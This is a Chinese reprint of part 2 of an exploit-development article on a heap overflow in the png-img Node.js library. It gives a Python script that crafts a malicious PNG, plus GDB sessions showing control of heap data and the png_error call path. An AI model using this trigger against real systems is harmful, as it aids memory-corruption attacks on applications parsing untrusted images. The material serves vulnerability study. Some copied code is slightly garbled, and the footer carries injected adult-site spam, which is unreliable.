<samp id="wckti"></samp>
<var id="wckti"></var>
  • <rt id="wckti"></rt>

    <rt id="wckti"><bdo id="wckti"></bdo></rt><strong id="wckti"><noscript id="wckti"></noscript></strong>
  • 當前位置:聯(lián)升科技 > 技術(shù)資訊 > 應用安全 >

    深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(二)

    2021-01-04    作者:fanyeee    來(lái)源:嘶吼網(wǎng)    閱讀: 次
    在本文中,我們將深入地探討,在通過(guò)外部函數接口(Foreign Function Interface,FFI)將基于C/C++的庫“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。

    從攻擊者角度看問(wèn)題
    從攻擊者的角度來(lái)看,了解我們可以控制什么,如何控制,以及我們可以影響什么,對于實(shí)現bug的可利用性至關(guān)重要。此外,可利用性還受到目標代碼實(shí)際使用方式和地點(diǎn)的影響。
    如果我們處理的是一個(gè)庫代碼中的bug,而這個(gè)庫可能被用在更大的軟件中,這就為我們作為攻擊者提供了各種額外的交互機會(huì )和影響力。此外,觸發(fā)bug的操作環(huán)境也非常重要。操作系統、系統的硬件以及它們的軟件生態(tài)系統都在各種配置中啟用了不同級別的系統級緩解措施。在一個(gè)操作系統上可以通過(guò)緩解措施阻止的漏洞可能在另一個(gè)操作系統上完全可以被利用。
    在png-img案例中,假設我們面對的是最基本的攻擊環(huán)境:一個(gè)單一的Javascript文件,需要png-img包,然后用它來(lái)加載攻擊者提供的PNG文件。
    var fs = require('fs'); 
    PngImg = require('png-img'); 
    var buf = fs.readFileSync('/home/anticomputer/trigger.png'); 
    img = new PngImg(buf); 
    大多數現代內存破壞攻擊都需要對目標進(jìn)程內存布局有所了解。因為我們正在重寫(xiě)內存,所以知道它們在原始內存布局中的位置有助于我們構造替代性的,但功能正常的內存內容,以供目標進(jìn)程使用。
    作為攻擊者,他們希望濫用這些新的內存內容來(lái)欺騙涉及它們的算法來(lái)執行對他們有利的操作。通常來(lái)說(shuō),攻擊者的目標是執行任意代碼或命令,但攻擊者的目標也可能是更深奧的行為。例如,攻擊者也可能想要重寫(xiě)身份驗證標志,削弱隨機數生成器,或以其他方式顛覆軟件中的安全關(guān)鍵邏輯。除此之外,即使只是讓一個(gè)進(jìn)程不可用,本身就可以成為目標,因為它可能導致意想不到的安全影響。
    由于缺乏內存布局緩解措施,我們可以對給定的目標二進(jìn)制代碼及其相關(guān)的內存布局進(jìn)行盲目的假設,或者通過(guò)信息泄露來(lái)了解內存布局。
    信息泄露可以是簡(jiǎn)單的,例如通過(guò)其他的或重新設計的bug來(lái)泄漏內存的內容,也可以是復雜的,例如使用基于計時(shí)或崩潰的探測方法來(lái)確定某個(gè)特定庫的進(jìn)程內存的某個(gè)部分可能存在的位置。需要注意的是,要想利用信息泄露來(lái)推進(jìn)漏洞利用過(guò)程,通常需要與目標流程進(jìn)行反復交互。
    由于在我們的single-shot場(chǎng)景中,我們將無(wú)法動(dòng)態(tài)地了解目標進(jìn)程的內存布局,因此,我們將不得不依靠運氣和有根據的猜測相結合的方式,在觸發(fā)內存破壞時(shí)判斷內存中的位置信息。
    首先,我們需要找出針對目標節點(diǎn)二進(jìn)制文件必須處理的緩解措施。為此,我們可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。
    我們可以看到,我們的目標二進(jìn)制文件并非一個(gè)位置無(wú)關(guān)的可執行文件(Position Independent Executable,PIE)。這意味著(zhù),在同一平臺上每次運行這個(gè)特定的二進(jìn)制文件時(shí),Node可執行文件的.text和.data段在內存中的位置保持不變。這對我們的single-shot場(chǎng)景非常有幫助,因為這種知識給了我們一個(gè)進(jìn)入可執行代碼和程序數據已知位置的鉤子。如果我們測試平臺上的Node二進(jìn)制文件被編譯成PIE,由于地址空間布局隨機化(ASLR)已經(jīng)推廣到了現代Linux上的PIE二進(jìn)制文件,所以,在遠程的single-shot場(chǎng)景中對這個(gè)漏洞的實(shí)際利用會(huì )受到很大的阻礙。
    如果我們沒(méi)有類(lèi)似GEF的checksec這樣的工具可用,我們也可以直接使用file命令。由于PIE二進(jìn)制文件就是類(lèi)型為ET_DYN(共享對象文件)的Elf可執行文件,所以,它們將會(huì )顯示為共享庫,而非PIE二進(jìn)制文件則是ET_EXEC(可執行文件)類(lèi)型。例如,如果我們將非PIE Node二進(jìn)制文件與我們測試平臺(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二進(jìn)制文件進(jìn)行比較,則需要注意以下幾點(diǎn):
    anticomputer@dc1:~$ file /bin/bash 
    /bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped 
    anticomputer@dc1:~$ file /usr/bin/node 
    /usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped進(jìn)攻計劃 
    現在,我們知道了相應的操作環(huán)境,以及在嘗試利用漏洞時(shí)可能知道哪些內存內容,這樣的話(huà),我們可以開(kāi)始決定我們要用堆內存控制技術(shù)來(lái)顛覆哪些算法了。
    在這種情況下,會(huì )想到三個(gè)潛在的選擇,從特定于應用程序到特定于平臺的范圍,具體如下所示:
    我們可以攻擊在被破壞的堆內存上運行的png-img和libpng邏輯
    我們可以攻擊在被破壞的堆內存上運行的Node.js解釋器邏輯
    我們可以攻擊在被破壞的堆內存上運行的系統庫
    對我們而言,這三個(gè)選項中哪一個(gè)最有意義,主要取決于我們愿意為漏洞利用嘗試投入多少時(shí)間和精力。但是,就概念驗證級別的工作來(lái)說(shuō),我們需要采取最便捷的漏洞利用途徑。為了確定哪條路徑,我們必須跟該漏洞打交道,并進(jìn)行一些動(dòng)態(tài)分析。
    構造觸發(fā)器
    到目前為止,我們已經(jīng)對很多事情進(jìn)行了理論上的探討。例如,我們探討了攻擊者判斷某個(gè)bug是否值得利用時(shí),會(huì )考慮哪些因素。既然我們已經(jīng)決定要嘗試利用png-img bug,那么是時(shí)候開(kāi)始鼓搗該bug本身了。
    首先,讓我們歸納出這個(gè)bug的基本觸發(fā)條件:我們要創(chuàng )建一個(gè)PNG文件,用于觸發(fā)整數溢出,從而導致data_數組內存分配不足,隨后用我們精心制作的PNG行數據覆蓋堆內存。此外,在libpng的PNG分塊解析過(guò)程中,我們還必須通過(guò)一些校驗和檢查,這樣,我們的惡意PNG數據才能被順利接受,以進(jìn)行后續處理。
    PNG文件由一個(gè)PNG簽名和一系列PNG分塊組成。這些分塊可以進(jìn)一步分解為:一個(gè)4字節的分塊長(cháng)度、一個(gè)4字節的分塊類(lèi)型、一個(gè)可變長(cháng)度的分塊數據,以及一個(gè)4字節的分塊類(lèi)型和數據的CRC校驗和。PNG中的第一個(gè)分塊是IHDR分塊,其中規定了圖像的寬度和高度。
    回顧易受攻擊的png-img綁定代碼,我們可以發(fā)現圖像高度是我們需要控制的變量之一,它用于觸發(fā)整數溢出。另一個(gè)變量是一行的字節數。讓我們來(lái)看看png-img,以及隨后的libpng是如何從我們提供的PNG文件中填充這些數據的。
    png-img中加載PNG數據的主要入口點(diǎn)是PngImg::PngImg構造函數,其內容如下所示:
    PngImg::PngImg(const char* buf, const size_t bufLen) 
        : data_(nullptr) 
        memset(&info_, 0, sizeof(info_)); 
        PngReadStruct rs; 
        if(rs.Valid()) { 
            BufPtr bufPtr = {buf, bufLen}; 
            png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf); 
    [1] 
            ReadInfo_(rs); 
      
      
            InitStorage_(); 
            png_read_image(rs.pngPtr, &rowPtrs_[0]); 
        } 
    在[1]處,調用了ReadInfo_,它實(shí)際上是一個(gè)通過(guò)libpng的png_read_info函數填充大多數PNG信息的函數。
    void PngImg::ReadInfo_(PngReadStruct& rs) { 
        png_read_info(rs.pngPtr, rs.infoPtr); 
        info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr); 
        info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr); 
        info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr); 
        info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr); 
        info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr); 
        info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr); 
        info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr); 
        info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr); 
        info_info_.pxlsize = info_.rowbytes / info_.width; 
    png_read_info將遍歷所有PNG分塊,提取與PNG圖像相關(guān)的信息,處理IHDR分塊,并調用png_handle_IHDR。
    /* Read and check the IDHR chunk */ 
    void /* PRIVATE */ 
    png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length) 
       png_byte buf[13]; 
       png_uint_32 width, height; 
       int bit_depth, color_type, compression_type, filter_type; 
       int interlace_type; 
      
      
       png_debug(1, "in png_handle_IHDR"); 
      
      
       if (png_ptr->mode & PNG_HAVE_IHDR) 
          png_chunk_error(png_ptr, "out of place"); 
      
      
       /* Check the length */ 
       if (length != 13) 
          png_chunk_error(png_ptr, "invalid"); 
      
      
       png_ptr->mode |= PNG_HAVE_IHDR; 
      
      
       png_crc_read(png_ptr, buf, 13); 
       png_crc_finish(png_ptr, 0); 
      
      
    [1] 
       width = png_get_uint_31(png_ptr, buf); 
       height = png_get_uint_31(png_ptr, buf + 4); 
       bit_depth = buf[8]; 
       color_type = buf[9]; 
       compression_type = buf[10]; 
       filter_type = buf[11]; 
       interlace_type = buf[12]; 
      
      
       /* Set internal variables */ 
       png_ptr->widthwidth = width; 
       png_ptr->heightheight = height; 
       png_ptr->bit_depth = (png_byte)bit_depth; 
       png_ptr->interlaced = (png_byte)interlace_type; 
       png_ptr->color_type = (png_byte)color_type; 
    #ifdef PNG_MNG_FEATURES_SUPPORTED 
       png_ptr->filter_type = (png_byte)filter_type; 
    #endif 
       png_ptr->compression_type = (png_byte)compression_type; 
      
      
       /* Find number of channels */ 
       switch (png_ptr->color_type) 
       { 
          default: /* invalid, png_set_IHDR calls png_error */ 
          case PNG_COLOR_TYPE_GRAY: 
          case PNG_COLOR_TYPE_PALETTE: 
             png_ptr->channels = 1; 
             break; 
      
      
          case PNG_COLOR_TYPE_RGB: 
             png_ptr->channels = 3; 
             break; 
      
      
          case PNG_COLOR_TYPE_GRAY_ALPHA: 
             png_ptr->channels = 2; 
             break; 
      
      
          case PNG_COLOR_TYPE_RGB_ALPHA: 
             png_ptr->channels = 4; 
             break; 
       } 
      
      
       /* Set up other useful info */ 
       png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * 
       png_ptr->channels); 
    [2] 
       png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width); 
       png_debug1(3, "bit_depth = %d", png_ptr->bit_depth); 
       png_debug1(3, "channels = %d", png_ptr->channels); 
       png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes); 
       png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth, 
           color_type, interlace_type, compression_type, filter_type); 
    在[1]處,我們看到代碼從IHDR分塊數據中提取寬度和高度(整數);在[2]處,我們看到它通過(guò)PNG_ROWBYTES宏導出rowbytes值,這是根據單個(gè)像素占用的位數將像素寬度簡(jiǎn)單轉換為表示行所需的字節數。例如,對于8位像素,16像素的寬度意味著(zhù)16 rowbytes。
    我們還注意到png_ptr結構體的填充處理,這是一個(gè)基于堆的libpng數據結構,存放所有特定于PNG的數據。其中,包括各種函數指針,當libpng對我們的PNG數據進(jìn)行操作時(shí),將調用這些指針。例如,當libpng遇到錯誤時(shí),它將調用png_error。
    PNG_FUNCTION(void,PNGAPI 
    png_error,(png_const_structrp png_ptr, png_const_charp error_message), 
       PNG_NORETURN) 
    … 
    [1] 
       if (png_ptr != NULL && png_ptr->error_fn != NULL) 
          (*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr), 
              error_message); 
      
      
       /* If the custom handler doesn't exist, or if it returns, 
          use the default handler, which will not return. */ 
       png_default_error(png_ptr, error_message); 
    在[1]處我們看到,如果png_ptr結構體含有一個(gè)填充error_fn函數指針的字段,則調用該函數指針時(shí)會(huì )將png_ptr結構體本身作為其第一個(gè)參數傳遞。
    從攻擊者的角度來(lái)看,了解受影響的軟件如何與可能被我們控制的內存進(jìn)行交互是很重要的。在這種情況下,我們已經(jīng)確定libpng使用了一個(gè)基于堆的結構體,它包含了函數指針,當錯誤發(fā)生時(shí),這些指針會(huì )被調用。作為一種重定向執行的方法,這在我們的漏洞利用過(guò)程中可能會(huì )很有幫助,所以我們要注意這一點(diǎn)。
    如果我們的漏洞利用過(guò)程需要破壞png_ptr結構體,那么它就是濫用應用程序特定堆數據的一個(gè)好例子。
    長(cháng)話(huà)短說(shuō),假設這里使用的是8位像素,我們可以控制直接通過(guò)圖像寬度得出的行字節值。因此,為了觸發(fā)png-img bug,我們只需要創(chuàng )建這樣一個(gè)有效的PNG文件:該文件包含的高度和寬度將觸發(fā)整數溢出,并提供足夠的行數據來(lái)覆蓋data_相鄰的堆內存。
    我們可以使用Python Pillow庫快速地進(jìn)行演示:
    from PIL import Image 
    import os 
    import struct 
    import sys 
    import zlib 
      
      
    def patch(path, offset, data): 
        f = open(path, 'r+b') 
        f.seek(offset) 
        f.write(data) 
        f.close() 
      
      
    trigger = 'trigger.png' 
    row_data = b'A' * 0x100000 
    width = 0x100 
    height = int(len(row_data)/width) 
      
      
    # create a template PNG with a valid height for our row_data 
    im = Image.frombytes("L", (width, height), row_data) 
    im.save(trigger, "PNG") 
      
      
    # patch in a wrapping size to trigger overwrap and underallocation 
    patch(trigger, 20, struct.pack('>L', 0x01000001)) 
      
      
    # fix up the IHDR CRC so png_read_info doesn't freak out 
    f = open(trigger, 'rb') 
    f.seek(16) 
    ihdr_data = f.read(13) 
    f.close() 
    crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff 
    patch(trigger, 29, struct.pack('>L', crc)) 
    當我們使用png-img加載生成的png文件時(shí),將發(fā)生崩潰:
    (gdb) r pngimg.js 
    Starting program: /usr/bin/node pngimg.js 
    [Thread debugging using libthread_db enabled] 
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 
    [New Thread 0x7ffff6a79700 (LWP 60942)] 
    [New Thread 0x7ffff6278700 (LWP 60943)] 
    [New Thread 0x7ffff5a77700 (LWP 60944)] 
    [New Thread 0x7ffff5276700 (LWP 60945)] 
    [New Thread 0x7ffff4a75700 (LWP 60946)] 
    [New Thread 0x7ffff7ff6700 (LWP 60947)] 
      
      
    Thread 1 "node" received signal SIGSEGV, Segmentation fault. 
    0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69 
    69      ../elf/dl-runtime.c: No such file or directory. 
    (gdb) x/i$pc 
    => 0x7ffff7de4e52 
    (gdb) bt 
    #0  0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69 
    #1  0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125 
    #2  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    #3  0x00007ffff4034899 in png_read_image () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    #4  0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    #5  0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    #6  0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    ... 
    (gdb) i r rax 
    rax            0x4141414141414141       4702111234474983745 
    (gdb) 
    我們看到,由于_dl_fixup對堆內存進(jìn)行了操作,而這些堆內存被我們的行數據覆蓋,而行數據由大量的A字節(0x41)組成,所以我們崩潰了。
    由此看來(lái),有一些關(guān)鍵的進(jìn)程會(huì )涉及我們控制的堆數據,于是就有了后來(lái)的崩潰。我們看到,在_dl_fixup中,崩潰前最后調用的libpng函數是png_read_row。
    如果您沒(méi)忘記的話(huà),我們最初的漏洞利用理論是,我們或許能夠破壞堆上的png_ptr數據,然后觸發(fā)一個(gè)bug,導致libpng調用我們提供給png_error的函數指針值——當它用完行數據時(shí)。但是,我們沒(méi)有在png_error中崩潰,而是在_dl_fixup中崩潰了。
    那么這是怎么回事呢?好吧,首先讓我們確定png_read_row實(shí)際上是在嘗試調用png_error。如果我們看一下png_read_row的反匯編輸出,我們會(huì )注意到以下內容:
      0x00007ffff4032e45 
      0x00007ffff4032e4c 
      0x00007ffff4032e4f 
      0x00007ffff4032e54 
      0x00007ffff4032e5b 
      0x00007ffff4032e5e 
      0x00007ffff4032e63 
      0x00007ffff4032e6a 
      0x00007ffff4032e6d 
    我們注意到,png_error是通過(guò)過(guò)程鏈接表(procedure linkage table)調用的。其中,第一個(gè)參數是通過(guò)RDI寄存器傳遞的png_ptr結構體指針,第二個(gè)參數是通過(guò)RSI寄存器傳遞的錯誤消息。下面,讓我們在png_error@plt上設置斷點(diǎn),看看會(huì )發(fā)生什么。
    (gdb) break png_error@plt 
    Breakpoint 1 at 0x7ffff401d980 
    (gdb) r pngimg.js 
    The program being debugged has been started already. 
    Start it from the beginning? (y or n) y 
    Starting program: /usr/bin/node pngimg.js 
    [Thread debugging using libthread_db enabled] 
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 
    [New Thread 0x7ffff6a79700 (LWP 60976)] 
    [New Thread 0x7ffff6278700 (LWP 60977)] 
    [New Thread 0x7ffff5a77700 (LWP 60978)] 
    [New Thread 0x7ffff5276700 (LWP 60979)] 
    [New Thread 0x7ffff4a75700 (LWP 60980)] 
    [New Thread 0x7ffff7ff6700 (LWP 60981)] 
      
      
    Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    (gdb) bt 
    #0  0x00007ffff401d980 in png_error@plt () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    #1  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    … 
    (gdb) x/s $rsi 
    0x7ffff4066820: "Invalid attempt to read row data" 
    (gdb) x/16x $rdi 
    0x271f580:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 
    0x271f588:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 
    (gdb) 
    到目前為止,一切都很好!我們確實(shí)在試圖用受控的png_ptr數據調用png_error。但我們?yōu)槭裁磿?huì )在_dl_fixup中崩潰,而不是獲得函數指針控制權呢?
    好吧,png_error是一個(gè)致命的錯誤處理程序。由于這是第一次調用png_error,由于惰性鏈接的緣故,它實(shí)際上還沒(méi)有被解析和重定位。所以發(fā)生的情況是,過(guò)程鏈接表(PLT)中的指令會(huì )嘗試跳轉到png_error的全局偏移表(GOT)跳轉槽條目中包含的地址,但這個(gè)地址正好指向png_error PLT條目,該條目中包含的指令負責調用動(dòng)態(tài)鏈接器的運行時(shí)解析器。
    我們可以單步跟蹤這個(gè)過(guò)程,以便更好地理解它。
    Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 
       from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    1: x/i $pc 
    => 0x7ffff401d980 
    (gdb) x/gx 0x7ffff4274900 
    0x7ffff4274900: 0x00007ffff401d986 
    (gdb) si 
    0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    1: x/i $pc 
    => 0x7ffff401d986 
    (gdb) si 
    0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    1: x/i $pc 
    => 0x7ffff401d98b 
    (gdb) si 
    0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    1: x/i $pc 
    => 0x7ffff401c7a0:      pushq  0x257862(%rip)        # 0x7ffff4274008 
    (gdb) si 
    0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
    1: x/i $pc 
    => 0x7ffff401c7a6:      jmpq   *0x257864(%rip)        # 0x7ffff4274010 
    (gdb) si 
    _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71 
    71      ../sysdeps/x86_64/dl-trampoline.h: No such file or directory. 
    1: x/i $pc 
    => 0x7ffff7dec7a0 
    (gdb) 
    在這里,我們看到png_error@plt通過(guò)GOT跳轉槽跳回PLT的方式調用解析器。鏈接器負責解析和修復png_error的GOT跳轉槽,這樣以后的調用就會(huì )直接進(jìn)入png_error的正確位置。簡(jiǎn)單來(lái)說(shuō),這就是惰性鏈接(lazy linking)的工作原理。
    png-img庫使用惰性鏈接進(jìn)行按需符號解析的事實(shí)也告訴我們,它只啟用了部分重定位只讀(RELRO)機制。還記得之前講過(guò)的對Node.js二進(jìn)制代碼進(jìn)行的安全檢查嗎?它已經(jīng)啟用了完全的RELRO機制。當完全啟用RELRO時(shí),給定二進(jìn)制文件的GOT部分被標記為只讀,以防止攻擊者替換GOT中的函數指針值。完全RELRO意味著(zhù)所有動(dòng)態(tài)鏈接的函數都必須在二進(jìn)制文件加載時(shí)由鏈接器解析和重新定位,因為已經(jīng)無(wú)法在運行時(shí)更新GOT。這是出于性能方面的考慮,因此,我們經(jīng)常會(huì )看到一些庫代碼因為這個(gè)原因而被編譯成部分RELRO。
    所以總結一下,我們的base node二進(jìn)制文件并不是一個(gè)PIE,并已經(jīng)啟用了完全的RELRO,而我們的目標png-img庫啟用了部分RELRO。我們的堆溢出破壞了動(dòng)態(tài)鏈接器用來(lái)解析png-img庫的函數的內存,而且我們還覆蓋了png-img捆綁的libpng代碼使用的png_ptr應用的特定數據。我們注意到,png_ptr是作為第一個(gè)參數傳遞給這個(gè)尚未解析的png_error函數的。
    到目前為止,有兩條明顯的漏洞利用途徑。我們可以嘗試觸發(fā)獲取鏈接器數據的堆布局,并執行劫持PNG_PTR函數指針的原始計劃,也可以嘗試破壞動(dòng)態(tài)鏈接器解析器邏輯。
    這就是事情變得有些不太確定的地方。我們的堆布局控制是基于我們提供給png-img的靜態(tài)PNG文件的。我們可以將data_數組分配為圖像寬度的倍數,因為該漏洞允許我們使用圖像的寬度和高度來(lái)觸發(fā)一個(gè)32位的整數溢出。
    我們再來(lái)看看存在漏洞的代碼。
    void PngImg::InitStorage_() { 
        rowPtrs_.resize(info_.height, nullptr); 
    [1] 
        data_ = new png_byte[info_.height * info_.rowbytes]; 
      
      
    [2] 
        for(size_t i = 0; i < info_.height; ++i) { 
            rowPtrs_[i] = data_ + i * info_.rowbytes; 
        } 
    在[1]處,data_將是通過(guò)整數溢出覆蓋的長(cháng)度,這意味著(zhù)我們可以使用height的低位字使data_size成為rowbytes的任意倍數。例如,如果希望data_為8字節,則可以將rowbytes設置為8,將height設置為((0xFFFFFFFF/8)+1)+1=0x20000001。
    這意味著(zhù)我們可以通過(guò)相當精細的方式控制data_chunk的分配大小,從而合理地控制將其存放在堆中的位置。但是,在控制堆分配順序方面,我們沒(méi)有太多其他選擇。如果我們能夠更好的控制目標進(jìn)程中內存的分配和釋放的方式和時(shí)間,那么我們可能還可以考慮攻擊系統分配器(glibc)本身。但是,考慮到我們受到緩解機制的諸多限制,如果對分配器沒(méi)有足夠的影響力的話(huà),我們的PoC代碼的可靠性將無(wú)法滿(mǎn)足我們的最低要求。我們可以探索的一條途徑是,利用其他PNG分塊,以在觸發(fā)內存破壞之前將堆“按摩”到一種有利的狀態(tài)——如果我們的最初探索最終陷入僵局,我們將保留它作為一種選擇。
    作為開(kāi)發(fā)人員,必須了解攻擊者將根據他們愿意花在漏洞利用上面的資源和時(shí)間來(lái)探索漏洞。即使對于相對簡(jiǎn)單的漏洞(例如png-img堆溢出),我們也看到有一個(gè)獨特的攻擊評估方案在起作用,它權衡了針對這里的代碼,各種攻擊策略的優(yōu)缺點(diǎn)。對于各種防御措施,要根據特定平臺和具體目標這兩種角度進(jìn)行考察。
    小結
    在本文中,我們將深入地探討,在通過(guò)外部函數接口(Foreign Function Interface,FFI)將基于C/C++的庫“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。由于篇幅過(guò)長(cháng),我們將分為多篇進(jìn)行介紹,更多精彩內容敬請期待!


    相關(guān)文章

    我們很樂(lè )意傾聽(tīng)您的聲音!
    即刻與我們取得聯(lián)絡(luò )
    成為日后肩并肩合作的伙伴。

    行業(yè)資訊

    聯(lián)系我們

    13387904606

    地址:新余市仙女湖區仙女湖大道萬(wàn)商紅A2棟

    手機:13755589003
    QQ:122322500
    微信號:13755589003

    江西新余網(wǎng)站設計_小程序制作_OA系統開(kāi)發(fā)_企業(yè)ERP管理系統_app開(kāi)發(fā)-新余聯(lián)升網(wǎng)絡(luò )科技有限公司 贛ICP備19013599號-1   贛公網(wǎng)安備 36050202000267號   

    微信二維碼
    五月天婷婷在线观看历史|国产欧美日韩免费一区二区|亚洲成a∨人片在无码|欧美日韩不卡一区二区三区中文字|每日更新国产精品视频|成年人在线观看视频免费|亚洲A片一区二区三区在线观看

    
    

    <samp id="wckti"></samp>
    <var id="wckti"></var>
  • <rt id="wckti"></rt>

    <rt id="wckti"><bdo id="wckti"></bdo></rt><strong id="wckti"><noscript id="wckti"></noscript></strong>